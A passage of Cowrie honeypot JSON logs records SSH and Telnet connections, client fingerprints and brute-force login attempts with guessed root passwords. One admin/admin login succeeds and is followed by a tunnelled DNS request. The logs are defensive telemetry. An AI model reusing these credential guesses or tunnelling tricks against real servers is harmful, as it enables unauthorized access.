stp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:14.491889Z","src_ip":"103.82.20.28","session":"32a11a269fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280785","message":"login attempt [root/280785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:15.343713Z","src_ip":"103.82.20.28","session":"32a11a269fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:16.634863Z","src_ip":"103.82.20.28","session":"32a11a269fc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36038,"dst_ip":"159.203.135.109","dst_port":22,"session":"826da0ce8a98","protocol":"ssh","message":"New connection: 194.113.233.25:36038 (159.203.135.109:22) [session: 826da0ce8a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:31.237414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:31.241798Z","src_ip":"194.113.233.25","session":"826da0ce8a98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:31.339225Z","src_ip":"194.113.233.25","session":"826da0ce8a98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21011981","message":"login attempt [root/21011981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:31.609452Z","src_ip":"194.113.233.25","session":"826da0ce8a98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:32.701693Z","src_ip":"194.113.233.25","session":"826da0ce8a98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43324,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced293d1dcc0","protocol":"telnet","message":"New connection: 172.81.62.90:43324 (159.203.135.109:23) [session: ced293d1dcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:37.279227Z"}
{"eventid":"cowrie.session.closed","duration":53.16805291175842,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:45:47.605621Z","src_ip":"128.199.8.54","session":"5683c096e7a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":53472,"dst_ip":"159.203.135.109","dst_port":22,"session":"716720099d58","protocol":"ssh","message":"New connection: 161.132.50.236:53472 (159.203.135.109:22) [session: 716720099d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:06.162940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:06.168278Z","src_ip":"161.132.50.236","session":"716720099d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:06.256606Z","src_ip":"161.132.50.236","session":"716720099d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"training","password":"1234","message":"login attempt [training/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:06.642064Z","src_ip":"161.132.50.236","session":"716720099d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:07.733946Z","src_ip":"161.132.50.236","session":"716720099d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.887638330459595,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:13.166740Z","src_ip":"172.81.62.90","session":"ced293d1dcc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42626,"dst_ip":"10.17.0.5","dst_port":22,"session":"785a87627c30","protocol":"ssh","message":"New connection: 87.251.79.125:42626 (10.17.0.5:22) [session: 785a87627c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:40.710409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:40.716078Z","src_ip":"87.251.79.125","session":"785a87627c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:40.783774Z","src_ip":"87.251.79.125","session":"785a87627c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17081993","message":"login attempt [root/17081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:40.994848Z","src_ip":"87.251.79.125","session":"785a87627c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:42.074634Z","src_ip":"87.251.79.125","session":"785a87627c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":33826,"dst_ip":"10.17.0.5","dst_port":22,"session":"6723bbdbcf62","protocol":"ssh","message":"New connection: 14.63.196.175:33826 (10.17.0.5:22) [session: 6723bbdbcf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:46.154711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:46.159549Z","src_ip":"14.63.196.175","session":"6723bbdbcf62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:46.359900Z","src_ip":"14.63.196.175","session":"6723bbdbcf62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Amir123","message":"login attempt [root/Amir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:47.193254Z","src_ip":"14.63.196.175","session":"6723bbdbcf62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:46:48.396699Z","src_ip":"14.63.196.175","session":"6723bbdbcf62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":2861,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e9c3f0aa55d","protocol":"ssh","message":"New connection: 178.20.210.208:2861 (159.203.135.109:22) [session: 3e9c3f0aa55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:19.134615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:19.138595Z","src_ip":"178.20.210.208","session":"3e9c3f0aa55d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:19.237036Z","src_ip":"178.20.210.208","session":"3e9c3f0aa55d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123","message":"login attempt [root/!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:19.623354Z","src_ip":"178.20.210.208","session":"3e9c3f0aa55d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53524,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb9d9fb5e1c5","protocol":"ssh","message":"New connection: 87.251.64.176:53524 (10.17.0.5:22) [session: cb9d9fb5e1c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:20.022724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:20.027807Z","src_ip":"87.251.64.176","session":"cb9d9fb5e1c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:20.129549Z","src_ip":"87.251.64.176","session":"cb9d9fb5e1c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:20.445778Z","src_ip":"87.251.64.176","session":"cb9d9fb5e1c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:20.551123Z","session":"cb9d9fb5e1c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:20.654107Z","src_ip":"87.251.64.176","session":"cb9d9fb5e1c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:20.734314Z","src_ip":"178.20.210.208","session":"3e9c3f0aa55d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:20.758248Z","src_ip":"87.251.64.176","session":"cb9d9fb5e1c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48306,"dst_ip":"159.203.135.109","dst_port":23,"session":"59c7c616ea12","protocol":"telnet","message":"New connection: 128.199.8.54:48306 (159.203.135.109:23) [session: 59c7c616ea12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:23.135172Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60076,"dst_ip":"159.203.135.109","dst_port":23,"session":"2632c7fa6956","protocol":"telnet","message":"New connection: 172.81.62.90:60076 (159.203.135.109:23) [session: 2632c7fa6956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:28.342380Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":54558,"dst_ip":"159.203.135.109","dst_port":22,"session":"0242d8b04992","protocol":"ssh","message":"New connection: 161.132.50.236:54558 (159.203.135.109:22) [session: 0242d8b04992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:50.560889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:50.564786Z","src_ip":"161.132.50.236","session":"0242d8b04992","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:50.652613Z","src_ip":"161.132.50.236","session":"0242d8b04992","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456`","message":"login attempt [root/a123456`] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:51.041059Z","src_ip":"161.132.50.236","session":"0242d8b04992","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:47:52.132326Z","src_ip":"161.132.50.236","session":"0242d8b04992","protocol":"ssh"}
